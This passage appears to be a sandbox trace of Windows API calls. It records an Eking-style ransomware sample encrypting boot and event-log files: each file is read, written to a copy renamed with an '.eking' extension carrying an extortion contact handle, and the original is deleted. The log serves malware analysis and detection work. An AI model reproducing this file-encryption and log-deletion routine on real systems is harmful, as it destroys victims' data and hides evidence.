"c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0217.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.689] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.689] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.690] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=42400) returned 1 [0217.690] CloseHandle (hObject=0x370) returned 1 [0217.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0217.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0217.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.690] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.690] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.691] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=63832) returned 1 [0217.691] CloseHandle (hObject=0x370) returned 1 [0217.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0217.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0217.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.691] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.692] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.692] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=42328) returned 1 [0217.692] CloseHandle (hObject=0x370) returned 1 [0217.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0217.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0217.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.693] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.693] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.693] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=63840) returned 1 [0217.693] CloseHandle (hObject=0x370) returned 1 [0217.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0217.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0217.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.694] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.694] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.695] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=42392) returned 1 [0217.695] CloseHandle (hObject=0x370) returned 1 [0217.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0217.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0217.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.695] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.696] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.728] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=395226) returned 1 [0217.728] CloseHandle (hObject=0x370) returned 1 [0217.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0217.735] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0217.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0217.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootmgr.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.744] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.744] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0217.744] SetEvent (hEvent=0x2b8) returned 1 [0217.744] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0217.749] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1) returned 1 [0217.749] CloseHandle (hObject=0x370) returned 1 [0217.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26 [0217.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26 [0217.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootnxt.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0219.084] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0219.085] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0219.085] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0219.085] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootnxt.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x348 [0219.087] ReadFile (in: hFile=0x370, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1, lpOverlapped=0x0) returned 1 [0219.091] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x10, lpOverlapped=0x0) returned 1 [0219.093] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe2, lpOverlapped=0x0) returned 1 [0219.093] CloseHandle (hObject=0x370) returned 1 [0219.093] CloseHandle (hObject=0x348) returned 1 [0219.095] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0 [0219.095] SetEvent (hEvent=0x2b8) returned 1 [0219.096] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.097] SetEvent (hEvent=0x2b8) returned 1 [0219.098] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0219.134] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0219.134] CloseHandle (hObject=0x364) returned 1 [0219.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0219.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0219.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\application.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0219.134] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0219.134] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0219.134] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0219.134] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\application.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x36c [0219.135] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0219.153] WriteFile (in: hFile=0x36c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0219.155] WriteFile (in: hFile=0x36c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x102, lpOverlapped=0x0) returned 1 [0219.155] CloseHandle (hObject=0x364) returned 1 [0219.155] CloseHandle (hObject=0x36c) returned 1 [0219.162] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0219.164] SetEvent (hEvent=0x2b8) returned 1 [0219.164] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0219.164] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0219.164] CloseHandle (hObject=0x36c) returned 1 [0219.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0219.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0219.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0219.164] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0219.164] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0219.165] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0219.165] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0219.165] ReadFile (in: hFile=0x36c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0220.280] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0220.282] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x112, lpOverlapped=0x0) returned 1 [0220.283] CloseHandle (hObject=0x36c) returned 1 [0220.283] CloseHandle (hObject=0x364) returned 1 [0220.288] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0220.290] SetEvent (hEvent=0x2b8) returned 1 [0220.291] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0220.308] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0220.308] CloseHandle (hObject=0x36c) returned 1 [0220.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0220.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0220.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.309] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0220.309] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0220.309] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0220.309] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0220.309] ReadFile (in: hFile=0x36c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0220.321] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0220.324] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x172, lpOverlapped=0x0) returned 1 [0220.324] CloseHandle (hObject=0x36c) returned 1 [0220.325] CloseHandle (hObject=0x368) returned 1 [0220.328] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0220.330] SetEvent (hEvent=0x2b8) returned 1 [0220.330] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0220.336] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1052672) returned 1 [0220.337] CloseHandle (hObject=0x368) returned 1 [0220.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0220.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0220.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.337] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0220.337] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0220.337] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0220.337] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x36c [0220.339] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x101000, lpOverlapped=0x0) returned 1 [0220.730] WriteFile (in: hFile=0x36c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x101010, lpOverlapped=0x0) returned 1 [0221.059] WriteFile (in: hFile=0x36c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x162, lpOverlapped=0x0) returned 1 [0221.059] CloseHandle (hObject=0x368) returned 1 [0221.059] CloseHandle (hObject=0x36c) returned 1 [0221.453] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0221.455] SetEvent (hEvent=0x2b8) returned 1 [0221.458] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0221.461] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1118208) returned 1 [0221.461] CloseHandle (hObject=0x36c) returned 1 [0221.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0221.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0221.461] GetFileAttributesW 